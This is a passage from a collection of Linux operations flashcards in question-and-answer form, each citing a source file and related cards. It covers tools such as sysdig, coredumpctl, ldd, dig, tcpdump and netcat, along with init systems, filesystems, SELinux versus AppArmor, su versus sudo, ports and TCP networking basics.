A: Lists valid login shells. <html><code>chsh</code></html> only allows shells listed here. FTP servers check this file to allow/deny user access.
----
''Sources''
* <html><code>training/library/topics/linux-ops/trivia-compendium.md</code></html>
''Related atoms''
* [[What is the SHELL variable?]]
* [[What is the difference between a login shell and a non-login shell?]]
* [[What does "SSH" stand for?]]
Q: What is <html><code>sysdig</code></html>?
A: A system-level exploration and troubleshooting tool combining the functionality of strace, tcpdump, lsof, and more. Uses a scripting language called "chisels" for analysis. The commercial version (Sysdig Secure) is popular in Kubernetes environments.
----
''Sources''
* <html><code>training/library/topics/linux-ops/trivia-compendium.md</code></html>
''Related atoms''
* [[What is sysfs?]]
* [[System call (syscall): user-space to kernel interface]]
Q: What is <html><code>coredumpctl</code></html>?
A: A systemd tool for managing core dumps stored by systemd-coredump. <html><code>coredumpctl list</code></html> shows recent crashes. <html><code>coredumpctl debug PID</code></html> opens the core dump in gdb.
----
''Sources''
* <html><code>training/library/topics/linux-ops/trivia-compendium.md</code></html>
''Related atoms''
* [[What is a core dump?]]
* [[Debugging systemd services and setting resource limits via cgroups]]
* [[Core dumps in containers are silently lost without filesystem configuration]]
Q: What does <html><code>loginctl</code></html> do?
A: Manages systemd user sessions. <html><code>loginctl list-sessions</code></html> shows active sessions. <html><code>loginctl terminate-session ID</code></html> kills a session. Part of systemd-logind.
----
''Sources''
* <html><code>training/library/topics/linux-ops/trivia-compendium.md</code></html>
''Related atoms''
* [[What is /etc/login.defs used for in security?]]
* [[What is /etc/login.defs?]]
* [[What does `systemctl daemon-reload` do?]]
Q: What does <html><code>xxd</code></html> do?
A: Creates a hex dump of a file. <html><code>xxd file | head</code></html> shows the binary content in hex. Can also reverse a hex dump back to binary with <html><code>xxd -r</code></html>.
----
''Sources''
* <html><code>training/library/topics/linux-ops/trivia-compendium.md</code></html>
''Related atoms''
* [[What does the following block do?:]]
* [[What does `set -x` do?]]
Q: What is <html><code>/proc/self</code></html>?
A: A symbolic link to the <html><code>/proc/PID</code></html> directory of the current process. Useful for a process to introspect without knowing its own PID.
----
''Sources''
* <html><code>training/library/topics/linux-ops/trivia-compendium.md</code></html>
''Related atoms''
* [[What is `/proc/PID/maps`?]]
* [[What is `/proc/PID/cmdline`?]]
* [[/proc exposes process details to unprivileged visibility by default]]
Q: What does the <html><code>timeout</code></html> command do?
A: Runs a command with a time limit: <html><code>timeout 30s curl http://example.com</code></html>. Sends SIGTERM (or specified signal) when the time expires.
----
----
''Sources''
* <html><code>training/library/topics/linux-ops/trivia-compendium.md</code></html>
Q: Which BSD variants are actively developed?
A: FreeBSD (servers/storage, powers Netflix CDN), OpenBSD (security-focused, developed OpenSSH), NetBSD (portability, runs on 50+ platforms), DragonFlyBSD (performance, HAMMER filesystem).
----
''Sources''
* <html><code>training/library/topics/linux-ops/trivia-compendium.md</code></html>
''Related atoms''
* [[What is the BSD license?]]
* [[Differences between Unix, Linux, BSD, and GNU]]
Q: What is the difference between systemd and SysVinit?
A: SysVinit uses sequential shell scripts in <html><code>/etc/init.d/</code></html> and <html><code>/etc/rc.d/</code></html> with numeric runlevels (0-6). systemd uses declarative unit files, parallel startup, dependency management, socket activation, cgroup integration, and journald. systemd boots significantly faster.
----
''Sources''
* <html><code>training/library/topics/linux-ops/trivia-compendium.md</code></html>
''Related atoms''
* [[What is systemd?]]
* [[What is systemd's role in the boot process?]]
* [[What is systemd and how does it manage Linux services?]]
Q: What is Upstart?
A: An event-based init system developed by Canonical for Ubuntu (2006-2015). Replaced by systemd in Ubuntu 15.04. It used <html><code>.conf</code></html> files in <html><code>/etc/init/</code></html> and supported event-driven service management.
----
''Sources''
* <html><code>training/library/topics/linux-ops/trivia-compendium.md</code></html>
''Related atoms''
* [[What is systemd?]]
* [[systemd as PID 1 controls service lifecycle and resource management on all major Linux distributions]]
* [[What is systemd and how does it manage Linux services?]]
Q: What is OpenRC?
A: A dependency-based init system used by Gentoo and Alpine Linux. Compatible with SysVinit scripts but adds dependency tracking, parallel startup, and a service supervision framework. Lighter than systemd.
----
''Sources''
* <html><code>training/library/topics/linux-ops/trivia-compendium.md</code></html>
''Related atoms''
* [[What is Gentoo Linux known for?]]
* [[OCI specifications define portable container images and execution]]
* [[What is systemd?]]
Q: When would you choose ext4?
A: For general-purpose use, boot partitions, and environments requiring maximum stability and tooling maturity. Best choice when you need online shrinking capability.
----
''Sources''
* <html><code>training/library/topics/linux-ops/trivia-compendium.md</code></html>
''Related atoms''
* [[What is ext4?]]
* [[When to choose XFS for data drives]]
* [[ext4 vs XFS vs Btrfs: filesystem comparison]]
Q: When would you choose Btrfs?
A: When you need built-in snapshots, checksumming for data integrity, transparent compression, or send/receive for backups. Good for desktop and NAS use cases.
----
''Sources''
* <html><code>training/library/topics/linux-ops/trivia-compendium.md</code></html>
''Related atoms''
* [[What is Btrfs?]]
* [[ext4 vs XFS vs Btrfs: filesystem comparison]]
* [[Why should you never use btrfs RAID5 or RAID6 for data you care about?]]
Q: What is the relationship between firewalld, iptables, and nftables?
A: firewalld is a frontend/management layer. On RHEL 7, it used iptables as backend. RHEL 8+ uses nftables as backend. Direct iptables/nftables rules and firewalld rules can coexist but may conflict.
----
''Sources''
* <html><code>training/library/topics/linux-ops/trivia-compendium.md</code></html>
''Related atoms''
* [[The Linux firewall stack: netfilter kernel framework and userspace tools]]
Q: What is the advantage of SELinux's label-based approach?
A: Labels follow the object (file, process) regardless of path. If a file is moved or hard-linked, the security context stays correct. Path-based systems (AppArmor) can be bypassed by accessing the same file through a different path.
----
''Sources''
* <html><code>training/library/topics/linux-ops/trivia-compendium.md</code></html>
''Related atoms''
* [[SELinux vs AppArmor: MAC models compared]]
* [[AppArmor uses path-based rules instead of SELinux's label complexity]]
* [[What is the advantage of AppArmor's path-based approach?]]
Q: What is the advantage of AppArmor's path-based approach?
A: Much simpler to understand and write profiles — rules use familiar filesystem paths. No need to manage labeling or relabeling. Easier adoption curve for administrators.
----
''Sources''
* <html><code>training/library/topics/linux-ops/trivia-compendium.md</code></html>
''Related atoms''
* [[AppArmor uses path-based rules instead of SELinux's label complexity]]
* [[What is the advantage of SELinux's label-based approach?]]
* [[AppArmor: path-based MAC on Debian, Ubuntu, and SUSE]]
Q: How do RHEL and Ubuntu differ in their default security stack?
A: RHEL uses SELinux (enforcing by default), firewalld, and auditd. Ubuntu uses AppArmor (enabled by default), ufw (simplified iptables frontend), and relies on journald for audit logging.
----
''Sources''
* <html><code>training/library/topics/linux-ops/trivia-compendium.md</code></html>
''Related atoms''
* [[SELinux vs AppArmor: MAC models compared]]
* [[How do system log locations differ between Debian and RHEL?]]
* [[Red Hat family: distros, tooling, and enterprise positioning]]
Q: What is the difference between cron and systemd timers?
A: Cron: simple syntax, single config file, minimal logging, no dependency awareness, per-user crontabs. Timers: full systemd integration, journal logging, dependencies, resource control, persistent timers, calendar and monotonic scheduling, can be monitored with systemctl.
----
''Sources''
* <html><code>training/library/topics/linux-ops/trivia-compendium.md</code></html>
''Related atoms''
* [[What does `OnCalendar=` do in a systemd timer?]]
* [[How do you list active systemd timers?]]
Q: What is the difference between TCP and UDP?
A: TCP: connection-oriented, reliable (acknowledgments, retransmission, ordering), flow control, slower. UDP: connectionless, unreliable (no guarantees), no flow control, faster. TCP for web/SSH/email; UDP for DNS queries, streaming, gaming.
----
''Sources''
* <html><code>training/library/topics/linux-ops/trivia-compendium.md</code></html>
''Related atoms''
* [[What is the difference between a raw socket and a regular socket?]]
Q: What is the difference between su and sudo?
A: <html><code>su</code></html> switches to another user entirely (requires that user's password, or root's for <html><code>su</code></html>). <html><code>sudo</code></html> runs a single command as another user (requires the caller's password, authorization via sudoers). <html><code>sudo</code></html> provides better auditing and granular control.
----
''Sources''
* <html><code>training/library/topics/linux-ops/trivia-compendium.md</code></html>
''Related atoms''
* [[What does "sudo" stand for?]]
* [[What is the difference between `su` and `su -`?]]
* [[su vs sudo: authentication source and shell behavior]]
Q: What is the difference between <html><code>su</code></html> and <html><code>su -</code></html>?
A: <html><code>su</code></html> switches user but keeps the current environment (PATH, HOME may not change). <html><code>su -</code></html> (or <html><code>su -l</code></html>) simulates a full login shell, setting the target user's complete environment.
----
''Sources''
* <html><code>training/library/topics/linux-ops/trivia-compendium.md</code></html>
''Related atoms''
* [[What is the difference between su and sudo?]]
* [[su vs sudo: authentication source and shell behavior]]
* [[What is the difference between a login shell and a non-login shell?]]
Q: Why do we use <html><code>sudo su -</code></html> and not just <html><code>sudo su</code></html>?
A: <html><code>sudo</code></html> is in most modern Linux distributions where (but not always) the root user is disabled and has no password set. Therefore you cannot switch to the root user with <html><code>su</code></html> (you can try). You have to call <html><code>sudo</code></html> with root privileges: <html><code>sudo su</code></html>.
<html><code>su</code></html> just switches the user, providing a normal shell with an environment nearly the same as with the old user.
<html><code>su -</code></html> invokes a login shell after switching the user. A login shell resets most environment variables, providing a clean base.
----
''Sources''
* <html><code>training/interactive/knowledge/data/cards/linux-security.tsv</code></html>
''Related atoms''
* [[su vs sudo: authentication source and shell behavior]]
* [[How to switch to another user? How to switch to the root user?]]
* [[What does "sudo" stand for?]]
Q: What is the difference between hard and soft limits in ulimit?
A: Soft limits are the effective current limits that processes observe. Hard limits are the ceiling that soft limits cannot exceed. Non-root users can lower hard limits but cannot raise them. Root can set both freely.
----
''Sources''
* <html><code>training/library/topics/linux-ops/trivia-compendium.md</code></html>
''Related atoms''
* [[Explain the difference between ulimit -n and fs.file-max — how do they interact?]]
* [[What is the difference between softirq and hardirq?]]
* [[What is the use of ulimit in Unix-like systems?]]
Q: What is the difference between TCP CLOSE_WAIT and TIME_WAIT?
A: CLOSE_WAIT: the remote end has closed but the local application hasn't — usually a bug (application not calling close()). TIME_WAIT: the local end initiated close and is waiting 2×MSL for late packets — normal behavior.
----
''Sources''
* <html><code>training/library/topics/linux-ops/trivia-compendium.md</code></html>
''Related atoms''
* [[What is the TCP TIME_WAIT state?]]
Q: What is the difference between a bind mount and a regular mount?
A: A regular mount attaches a filesystem (from a device) to a directory. A bind mount makes an existing directory tree available at another location: <html><code>mount --bind /old/path /new/path</code></html>. The same data is accessible from both paths.
----
''Sources''
* <html><code>training/library/topics/linux-ops/trivia-compendium.md</code></html>
''Related atoms''
* [[Bind mount vs symlink?]]
* [[Read-only bind mount requires a two-step setup]]
Q: What is the difference between kill and killall?
A: <html><code>kill</code></html> sends a signal to a specific PID. <html><code>killall</code></html> sends a signal to all processes matching a name. <html><code>pkill</code></html> matches by pattern (name, user, etc.) and is generally preferred over killall.
----
''Sources''
* <html><code>training/library/topics/linux-ops/trivia-compendium.md</code></html>
''Related atoms''
* [[What does `kill 0` do in Linux process management?]]
* [[What is the difference between `kill -l` and `trap -l`?]]
* [[What signal does the `kill` command send by default, and how does it differ from SIGKILL?]]
Q: What is the difference between <html><code>less</code></html> and <html><code>more</code></html>?
A: <html><code>more</code></html> can only scroll forward; <html><code>less</code></html> can scroll both forward and backward, search, and supports many navigation commands. "Less is more" — <html><code>less</code></html> is the superior pager.
----
''Sources''
* <html><code>training/library/topics/linux-ops/trivia-compendium.md</code></html>
''Related atoms''
* [[Explain the file content commands along with the description.]]
* [[What does `2>&1` do?]]
* [[What does tail -f do?]]
Q: What is the difference between a physical and virtual console?
A: Physical consoles are the TTYs accessible via Ctrl-Alt-F1 through F6 on the hardware. Virtual/pseudo-terminals (/dev/pts/*) are created by terminal emulators and SSH.
----
''Sources''
* <html><code>training/library/topics/linux-ops/trivia-compendium.md</code></html>
''Related atoms''
* [[What does "TTY" stand for?]]
* [[What is a TTY device?]]
* [[What does "PTY" stand for?]]
Q: What is a swap partition vs a swap file?
A: A swap partition is a dedicated partition formatted as swap. A swap file is a regular file on an existing filesystem used as swap. Performance is nearly identical on modern kernels. Swap files are more flexible (can be resized easily).
----
''Sources''
* <html><code>training/library/topics/linux-ops/trivia-compendium.md</code></html>
''Related atoms''
* [[What is a swap partition? What is it used for?]]
* [[What is the difference between paging and swapping?]]
* [[Swap usage too high. What are the reasons for this and how to resolve swapping problems?]]
Q: What is the difference between <html><code>shutdown</code></html>, <html><code>halt</code></html>, <html><code>poweroff</code></html>, and <html><code>reboot</code></html>?
A: <html><code>shutdown</code></html> gracefully notifies users and stops services before halting/rebooting (safest). <html><code>halt</code></html> stops the CPU. <html><code>poweroff</code></html> stops the CPU and powers off the machine. <html><code>reboot</code></html> restarts. On systemd systems, all ultimately call <html><code>systemctl</code></html>.
----
''Sources''
* <html><code>training/library/topics/linux-ops/trivia-compendium.md</code></html>
''Related atoms''
* [[Explain the difference between systemd inhibitors, systemd-inhibit, and how to prevent …]]
* [[How to start or stop a service?]]
* [[Program, process, and service are three distinct layers]]
Q: What is the difference between <html><code>reboot</code></html> and <html><code>shutdown -r now</code></html>?
A: Functionally equivalent on modern systemd systems. <html><code>shutdown</code></html> provides the ability to schedule reboots (<html><code>shutdown -r +10 "message"</code></html>) and notify logged-in users. Both ultimately call <html><code>systemctl reboot</code></html>.
----
''Sources''
* <html><code>training/library/topics/linux-ops/trivia-compendium.md</code></html>
''Related atoms''
* [[Explain the difference between systemd inhibitors, systemd-inhibit, and how to prevent …]]
Q: What is the difference between SATA, SAS, and NVMe?
A: SATA: consumer-grade, 6 Gbps, uses AHCI protocol, appears as <html><code>/dev/sd*</code></html>. SAS: enterprise, 12+ Gbps, also <html><code>/dev/sd*</code></html>. NVMe: PCIe-attached SSDs, up to 32 Gbps+, appears as <html><code>/dev/nvme*</code></html>, lowest latency.
----
''Sources''
* <html><code>training/library/topics/linux-ops/trivia-compendium.md</code></html>
''Related atoms''
* [[iostat await and %util reveal device saturation and latency]]
Q: What is the difference between <html><code>tar</code></html> and <html><code>gzip</code></html>?
A: <html><code>tar</code></html> is an archiver — bundles multiple files into one. <html><code>gzip</code></html> is a compressor — reduces file size. Combined: <html><code>tar czf archive.tar.gz dir/</code></html> creates a compressed archive. tar does not compress by itself.
----
''Sources''
* <html><code>training/library/topics/linux-ops/trivia-compendium.md</code></html>
''Related atoms''
* [[What compression tools are available on Linux?]]
* [[What is an archive? How do you create one in Linux?]]
Q: What compression tools are available on Linux?
A: gzip/gunzip (.gz, fast), bzip2/bunzip2 (.bz2, better ratio), xz/unxz (.xz, best ratio, slower), zstd (.zst, excellent speed/ratio balance), lz4 (.lz4, fastest), zip/unzip (.zip, cross-platform).
----
''Sources''
* <html><code>training/library/topics/linux-ops/trivia-compendium.md</code></html>
''Related atoms''
* [[What is the difference between `tar` and `gzip`?]]
* [[What is a bzImage?]]
Q: What is the difference between <html><code>ps aux</code></html> and <html><code>ps -ef</code></html>?
A: <html><code>ps aux</code></html> is BSD-style showing USER, PID, %CPU, %MEM, VSZ, RSS, TTY, STAT, START, TIME, COMMAND. <html><code>ps -ef</code></html> is POSIX-style showing UID, PID, PPID, C, STIME, TTY, TIME, CMD. Both show all processes; different column layouts.
----
''Sources''
* <html><code>training/library/topics/linux-ops/trivia-compendium.md</code></html>
''Related atoms''
* [[What command shows the process tree?]]
* [[How do you view the process tree showing parent-child relationships?]]
* [[What does /proc/<pid>/fd contain and why is it useful?]]
Q: What is the difference between <html><code>ip addr</code></html> and <html><code>ip link</code></html>?
A: <html><code>ip addr</code></html> shows/manages IP addresses on interfaces. <html><code>ip link</code></html> shows/manages link-layer properties (up/down state, MTU, MAC address). Use <html><code>ip link set eth0 up</code></html> to bring an interface up.
----
''Sources''
* <html><code>training/library/topics/linux-ops/trivia-compendium.md</code></html>
''Related atoms''
* [[What replaces `ifconfig` in the ip command suite?]]
* [[What is the difference between `ip link set dev eth0 down` and `ifdown eth0`?]]
* [[What are the following commands used for: ip addr, ip route, ip link?]]
Q: What is the difference between /etc/environment and shell profile files?
A: <html><code>/etc/environment</code></html> is read by PAM (not a shell script — just <html><code>KEY=VALUE</code></html> lines) and sets variables for all login sessions regardless of shell. Profile files (<html><code>.bashrc</code></html>, <html><code>.profile</code></html>) are shell-specific and support scripting.
----
''Sources''
* <html><code>training/library/topics/linux-ops/trivia-compendium.md</code></html>
''Related atoms''
* [[What files does a Bash login shell source?]]
* [[What files does a Bash interactive non-login shell source?]]
* [[/etc directory purpose and conventions]]
Q: What is the difference between a process and a thread in terms of memory?
A: Processes have separate virtual address spaces (isolated memory). Threads within the same process share the same address space, heap, and global variables, but each has its own stack.
----
''Sources''
* <html><code>training/library/topics/linux-ops/trivia-compendium.md</code></html>
''Related atoms''
* [[What is the difference between a process and a thread?]]
* [[What is a thread in Linux?]]
* [[What is a process in Linux?]]
Q: What is the difference between static and dynamic linking?
A: Static linking embeds library code into the executable at compile time (larger binary, no runtime dependencies). Dynamic linking loads shared libraries (<html><code>.so</code></html> files) at runtime (smaller binary, requires libraries present at runtime).
----
''Sources''
* <html><code>training/library/topics/linux-ops/trivia-compendium.md</code></html>
''Related atoms''
* [[How to find out the dynamic libraries executables loads when run?]]
* [[What is LD_LIBRARY_PATH?]]
* [[The program returns the error of the missing library. How to provide dynamically linkab…]]
Q: What is <html><code>ldconfig</code></html>?
A: Updates the shared library cache (<html><code>/etc/ld.so.cache</code></html>) so the dynamic linker can find shared libraries. Run after installing new libraries. Configuration in <html><code>/etc/ld.so.conf</code></html> and <html><code>/etc/ld.so.conf.d/</code></html>.
----
''Sources''
* <html><code>training/library/topics/linux-ops/trivia-compendium.md</code></html>
''Related atoms''
* [[What is LD_LIBRARY_PATH?]]
* [[What is `ldd`?]]
* [[Global LD_LIBRARY_PATH breaks system tools by shadowing core libraries]]
Q: What is <html><code>ldd</code></html>?
A: Lists shared library dependencies of an executable: <html><code>ldd /bin/ls</code></html>. Shows which <html><code>.so</code></html> files are needed and where they resolve to. Note: do not use <html><code>ldd</code></html> on untrusted binaries — it may execute them.
----
''Sources''
* <html><code>training/library/topics/linux-ops/trivia-compendium.md</code></html>
''Related atoms''
* [[What is LD_LIBRARY_PATH?]]
* [[How to find out the dynamic libraries executables loads when run?]]
* [[What is `ldconfig`?]]
Q: What is the difference between a pipe and a socket?
A: Pipes (<html><code>|</code></html>) are unidirectional (one writer, one reader) and work between related processes. Sockets are bidirectional, support networking (TCP/UDP), and can connect unrelated processes across machines.
----
''Sources''
* <html><code>training/library/topics/linux-ops/trivia-compendium.md</code></html>
''Related atoms''
* [[What is a socket in Linux?]]
* [[What is the difference between a raw socket and a regular socket?]]
* [[Explain the pipe() system call. What does it used for?]]
Q: What is a Unix domain socket?
A: A socket for inter-process communication on the same host, using a filesystem path instead of IP:port. Faster than TCP loopback because it bypasses the network stack. Used by Docker, MySQL, PostgreSQL, and systemd.
----
''Sources''
* <html><code>training/library/topics/linux-ops/trivia-compendium.md</code></html>
''Related atoms''
* [[What is a socket in Linux?]]
* [[What is the difference between a pipe and a socket?]]
Q: What is the difference between multicast, broadcast, and unicast?
A: Unicast: one-to-one communication. Broadcast: one-to-all on a network segment (e.g., 255.255.255.255). Multicast: one-to-many for subscribed receivers (224.0.0.0/4).
----
''Sources''
* <html><code>training/library/topics/linux-ops/trivia-compendium.md</code></html>
''Related atoms''
* [[What is the difference between a raw socket and a regular socket?]]
* [[What does the `unshare` command do?]]
Q: What is the purpose of the /etc/hosts file?
A: Static hostname-to-IP mapping that is consulted before DNS (by default). Format: <html><code>IP_address hostname [aliases]</code></html>. Commonly used for local overrides and development.
----
''Sources''
* <html><code>training/library/topics/linux-ops/trivia-compendium.md</code></html>
''Related atoms''
* [[What is `/etc/hostname`?]]
* [[What is the DNS resolution order on Linux?]]
* [[What is the `host` command?]]
Q: What is a reverse DNS lookup?
A: Resolving an IP address to a hostname (opposite of normal DNS). Uses PTR records in the in-addr.arpa domain. Commonly used for email verification and logging.
----
''Sources''
* <html><code>training/library/topics/linux-ops/trivia-compendium.md</code></html>
''Related atoms''
* [[What is the `nslookup` command?]]
* [[What is the `host` command?]]
Q: What is the <html><code>dig</code></html> command used for?
A: DNS lookup utility that queries DNS servers directly. <html><code>dig example.com A</code></html> queries A records. <html><code>dig @8.8.8.8 example.com</code></html> uses a specific DNS server. Shows query details, answer section, and timing.
----
''Sources''
* <html><code>training/library/topics/linux-ops/trivia-compendium.md</code></html>
''Related atoms''
* [[What is the `host` command?]]
Q: What is the <html><code>nslookup</code></html> command?
A: An older DNS query tool. <html><code>nslookup example.com</code></html> performs a forward lookup. Less detailed output than <html><code>dig</code></html> but simpler syntax. Considered deprecated by some in favor of <html><code>dig</code></html>.
----
''Sources''
* <html><code>training/library/topics/linux-ops/trivia-compendium.md</code></html>
''Related atoms''
* [[What is the `host` command?]]
* [[What is a reverse DNS lookup?]]
Q: What is <html><code>tcpdump</code></html>?
A: A packet capture tool that displays network packets matching filter expressions. <html><code>tcpdump -i eth0 port 80 -w capture.pcap</code></html> captures HTTP traffic to a file. Uses BPF (Berkeley Packet Filter) syntax.
----
''Sources''
* <html><code>training/library/topics/linux-ops/trivia-compendium.md</code></html>
''Related atoms''
* [[BPF originated as in-kernel packet filtering and evolved into eBPF]]
Q: What does <html><code>netcat</code></html> (nc) do?
A: A versatile networking tool for reading/writing TCP and UDP connections. Used for port scanning (<html><code>nc -zv host 1-1000</code></html>), file transfer, banner grabbing, and creating simple client-server connections.
----
''Sources''
* <html><code>training/library/topics/linux-ops/trivia-compendium.md</code></html>
''Related atoms''
* [[What is `ip netns`?]]
Q: What is ICMP?
A: Internet Control Message Protocol — used for error reporting and diagnostics (ping, traceroute, destination unreachable, TTL exceeded). Not a transport protocol — it operates at the network layer.
----
''Sources''
* <html><code>training/library/topics/linux-ops/trivia-compendium.md</code></html>
''Related atoms''
* [[What does "ping" stand for?]]
* [[What is an ICMP redirect?]]
Q: What is the difference between DHCP and static IP configuration?
A: DHCP dynamically assigns IP addresses, subnet mask, gateway, and DNS from a server. Static IP is manually configured and does not change. Servers typically use static IPs; workstations use DHCP.
----
''Sources''
* <html><code>training/library/topics/linux-ops/trivia-compendium.md</code></html>
Q: What is NetworkManager?
A: A daemon managing network connections on Linux desktops and servers. Configured via <html><code>nmcli</code></html> (CLI), <html><code>nmtui</code></html> (TUI), or GUI. Handles Wi-Fi, Ethernet, VPN, bonding, VLAN, and bridging. Default on RHEL, Fedora, Ubuntu desktop.
----
''Sources''
* <html><code>training/library/topics/linux-ops/trivia-compendium.md</code></html>
''Related atoms''
* [[What is systemd-networkd?]]
* [[What is the `nmcli` command?]]
Q: What is the <html><code>nmcli</code></html> command?
A: NetworkManager's CLI tool. <html><code>nmcli device status</code></html> shows interfaces. <html><code>nmcli connection show</code></html> lists connections. <html><code>nmcli connection modify eth0 ipv4.addresses 10.0.0.5/24</code></html> sets a static IP.
----
''Sources''
* <html><code>training/library/topics/linux-ops/trivia-compendium.md</code></html>
''Related atoms''
* [[What is the `nmap` command?]]
* [[What is NetworkManager?]]
* [[ip command: modern Linux network configuration (iproute2)]]
Q: What is the <html><code>ethtool</code></html> command?
A: Queries and controls network driver and hardware settings: speed, duplex, auto-negotiation, ring buffer size, offload features, and driver info. <html><code>ethtool eth0</code></html> shows link status and speed.
----
''Sources''
* <html><code>training/library/topics/linux-ops/trivia-compendium.md</code></html>
''Related atoms''
* [[What is the `tc` command?]]
Q: What is the difference between a hub, switch, and router?
A: Hub: Layer 1, broadcasts all traffic to all ports. Switch: Layer 2, forwards frames based on MAC addresses. Router: Layer 3, forwards packets between networks based on IP addresses.
----
''Sources''
* <html><code>training/library/topics/linux-ops/trivia-compendium.md</code></html>
Q: What is NAT?
A: Network Address Translation — remaps IP addresses in packet headers, allowing multiple devices to share a single public IP. Types: SNAT (source NAT/masquerade), DNAT (destination NAT/port forwarding).
----
''Sources''
* <html><code>training/library/topics/linux-ops/trivia-compendium.md</code></html>
''Related atoms''
* [[Difference between SNAT, DNAT, and masquerade?]]
* [[What does `net.ipv4.ip_forward` control?]]
Q: What is the subnet mask 255.255.255.0 in CIDR notation?
A: /24 — meaning 24 bits for network, 8 bits for hosts, allowing 254 usable addresses.
----
''Sources''
* <html><code>training/library/topics/linux-ops/trivia-compendium.md</code></html>
Q: What are the private IP address ranges?
A: 10.0.0.0/8 (Class A), 172.16.0.0/12 (Class B), 192.168.0.0/16 (Class C). Defined in RFC 1918, not routable on the public internet.
----
''Sources''
* <html><code>training/library/topics/linux-ops/trivia-compendium.md</code></html>
''Related atoms''
* [[What is RFC 5737?]]
* [[What is the subnet mask 255.255.255.0 in CIDR notation?]]
Q: What is <html><code>ip netns</code></html>?
A: Manages network namespaces. <html><code>ip netns add ns1</code></html> creates a namespace. <html><code>ip netns exec ns1 bash</code></html> runs commands inside it. Used by containers and for network testing/isolation.
----
''Sources''
* <html><code>training/library/topics/linux-ops/trivia-compendium.md</code></html>
''Related atoms''
* [[What is a network namespace? What is it used for?]]
* [[What does the `nsenter` command do?]]
* [[ip command: modern Linux network configuration (iproute2)]]
Q: What does <html><code>sysctl net.ipv4.tcp_fin_timeout</code></html> control?
A: The time (in seconds) a socket stays in FIN_WAIT2 state. Default is 60. Lowering it frees resources faster on servers with many short-lived connections.
----
''Sources''
* <html><code>training/library/topics/linux-ops/trivia-compendium.md</code></html>
''Related atoms''
* [[What does `sysctl net.core.rmem_max` control?]]
* [[What does /proc/sys/net/ipv4/tcp_syncookies control?]]
Q: What is <html><code>arp -a</code></html> replaced by?
A: <html><code>ip neigh show</code></html> — displays the ARP/neighbor cache on modern Linux systems.
----
''Sources''
* <html><code>training/library/topics/linux-ops/trivia-compendium.md</code></html>
''Related atoms''
* [[What is ARP?]]
* [[What is the `arping` command?]]
* [[What is proxy ARP?]]
Q: What are well-known ports 110, 143, 993, and 995?
A: 110 = POP3 (email retrieval), 143 = IMAP (email access), 993 = IMAPS (IMAP over TLS), 995 = POP3S (POP3 over TLS).
----
''Sources''
* <html><code>training/library/topics/linux-ops/trivia-compendium.md</code></html>
''Related atoms''
* [[What are ports 3306, 5432, and 6379?]]
* [[What is port 123 used for?]]
Q: What is port 514 used for?
A: UDP 514 = syslog (traditional). TCP 514 = RSH (remote shell, deprecated). rsyslog can use TCP 514 for reliable log transport.
----
''Sources''
* <html><code>training/library/topics/linux-ops/trivia-compendium.md</code></html>
''Related atoms''
* [[What are ports 2049 and 111 used for?]]
* [[What is port 123 used for?]]
* [[What is rsyslog?]]
Q: What is port 123 used for?
A: NTP (Network Time Protocol) — for clock synchronization.
----
''Sources''
* <html><code>training/library/topics/linux-ops/trivia-compendium.md</code></html>
''Related atoms''
* [[What is NTP? What is it used for?]]
* [[What are ports 2049 and 111 used for?]]
* [[What is port 25 used for?]]
Q: What is the difference between NTP and chrony?
A: NTP (ntpd) is the classic time synchronization daemon. chrony (chronyd) is the modern replacement — faster synchronization, better for intermittent connections, handles large clock jumps, and is the default on RHEL/Fedora.
----
''Sources''
* <html><code>training/library/topics/linux-ops/trivia-compendium.md</code></html>
''Related atoms''
* [[What is NTP? What is it used for?]]
* [[What is `timedatectl`?]]
* [[What is port 123 used for?]]
Q: What are ports 2049 and 111 used for?
A: 2049 = NFS (Network File System). 111 = rpcbind/portmapper (maps RPC services to ports, used by NFSv3). NFSv4 only needs port 2049.
----
''Sources''
* <html><code>training/library/topics/linux-ops/trivia-compendium.md</code></html>
''Related atoms''
* [[What is port 123 used for?]]
* [[What is port 514 used for?]]
* [[NFS (Network File System)]]
Q: What is an ICMP redirect?
A: A message from a router telling a host that a better route exists for a destination. Often disabled for security (<html><code>net.ipv4.conf.all.accept_redirects = 0</code></html>).
----
''Sources''
* <html><code>training/library/topics/linux-ops/trivia-compendium.md</code></html>
''Related atoms''
* [[What is ICMP?]]
* [[What happens when you `ping ::1`?]]
Q: What is TCP keepalive?
A: Periodic probes sent on idle TCP connections to detect dead peers. Configured via <html><code>net.ipv4.tcp_keepalive_time</code></html> (default 7200 seconds), <html><code>tcp_keepalive_intvl</code></html>, and <html><code>tcp_keepalive_probes</code></html>.
----
''Sources''
* <html><code>training/library/topics/linux-ops/trivia-compendium.md</code></html>
''Related atoms''
* [[What does `sysctl net.ipv4.tcp_fin_timeout` control?]]
Q: What does <html><code>ip route add default via 10.0.0.1</code></html> do?
A: Sets 10.0.0.1 as the default gateway. All traffic without a more specific route is sent to this address.
----
''Sources''
* <html><code>training/library/topics/linux-ops/trivia-compendium.md</code></html>
''Related atoms''
* [[What are the following commands used for: ip addr, ip route, ip link?]]
* [[What does `net.ipv4.ip_forward` control?]]
* [[Can you have more than one default gateway in a given system?]]
Q: What is proxy ARP?
A: When a router answers ARP requests on behalf of another network, making hosts on different subnets appear to be on the same LAN. Controlled via <html><code>net.ipv4.conf.all.proxy_arp</code></html>.
----
''Sources''
* <html><code>training/library/topics/linux-ops/trivia-compendium.md</code></html>
''Related atoms''
* [[What is ARP?]]
* [[What is the `arping` command?]]
* [[What is `arp -a` replaced by?]]
Q: What is the difference between Layer 4 and Layer 7 load balancing?
A: Layer 4 (transport): routes based on IP and port, fast, cannot inspect content. Layer 7 (application): routes based on HTTP headers, URLs, cookies — more flexible but higher overhead.
----
''Sources''
* <html><code>training/library/topics/linux-ops/trivia-compendium.md</code></html>
Q: What is the maximum size of a TCP window?
A: 65,535 bytes with the standard 16-bit window field. TCP window scaling (RFC 1323) extends this to over 1GB using a scale factor negotiated in the handshake.
----
''Sources''
* <html><code>training/library/topics/linux-ops/trivia-compendium.md</code></html>
''Related atoms''
* [[What is the maximum number of TCP connections a Linux server can handle?]]
Q: What is TCP slow start?
A: A congestion control mechanism where the sender starts with a small congestion window and doubles it each RTT until reaching the slow start threshold, then switches to congestion avoidance (linear growth).
----
''Sources''
* <html><code>training/library/topics/linux-ops/trivia-compendium.md</code></html>
''Related atoms''
* [[What is the `tc` command?]]
* [[What does `sysctl net.ipv4.tcp_fin_timeout` control?]]
Q: What is the difference between <html><code>ip route</code></html> and <html><code>ip rule</code></html>?
